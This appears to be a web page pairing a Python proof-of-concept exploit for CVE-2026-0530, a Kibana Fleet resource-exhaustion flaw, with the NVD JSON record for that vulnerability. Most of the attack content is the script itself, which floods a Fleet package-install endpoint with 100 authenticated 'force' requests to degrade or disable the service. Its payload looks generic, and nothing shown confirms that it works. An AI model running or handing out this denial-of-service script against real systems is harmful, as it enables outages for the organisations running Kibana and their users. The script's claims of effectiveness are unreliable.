CVE-2026-0530

import requests import time # CVE-2026-0530 PoC - Kibana Fleet Resource Exhaustion # Target: Kibana Fleet API # This PoC demonstrates sending crafted requests that trigger redundant processing TARGET_HOST = "http://target-kibana:5601" KIBANA_COOKIE = "your-auth-cookie-here" def exploit_cve_2026_0530(): """ Send specially crafted requests to trigger resource exhaustion in Kibana Fleet The vulnerability allows redundant processing operations via crafted requests """ headers = { "Cookie": KIBANA_COOKIE, "Content-Type": "application/json", "Kbn-xsrf": "true" } # Crafted request payload that triggers redundant processing # This exploits the lack of resource limits in Fleet package operations payload = { "packages": ["endpoint-protection"], "force": True, "ignore": ["validation", "compatibility"] } print("[*] Starting CVE-2026-0530 exploitation...") print("[*] Target: Kibana Fleet") print("[*] Sending crafted requests to trigger resource exhaustion") # Send multiple requests to exhaust resources for i in range(100): try: response = requests.post( f"{TARGET_HOST}/api/fleet/package_install", json=payload, headers=headers, timeout=30 ) print(f"[+] Request {i+1}/100 sent - Status: {response.status_code}") time.sleep(0.1) # Minimal delay to send requests rapidly except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] Exploitation complete - System resources should be exhausted") if __name__ == "__main__": exploit_cve_2026_0530()

{"cve": {"id": "CVE-2026-0530", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:50.817", "lastModified": "2026-01-22T19:58:42.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana Fleet can lead to Excessive Allocation (CAPEC-130) via a specially crafted request. This causes the application to perform redundant processing operations that continuously consume system resources until service degradation or complete unavailability occurs."}, {"lang": "es", "value": "Asignación de recursos sin límites ni limitación (CWE-770) en Kibana Fleet puede conducir a una asignación excesiva (CAPEC-130) a través de una solicitud especialmente diseñada. Esto provoca que la aplicación realice operaciones de procesamiento redundantes que consumen continuamente recursos del sistema hasta que se produzca la degradación del servicio o la indisponibilidad completa."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.10.0", "versionEndExcluding": "7.17.29", "matchCriteriaId": "1863989E-58AD-4481-B872-DF5AC637F854"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.10", "matchCriteriaId": "8707CF69-9922-490B-B64F-38F2D31E2CA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.10", "matchCriteriaId": "FC3281ED-A331-43DC-9705-80A3FA3E6C75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.4", "matchCriteriaId": "8BF9D6AE-B07F-4516-A684-60B02BF731A0"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-10-9-1-10-9-2-4-security-update-esa-2026-03/384521", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}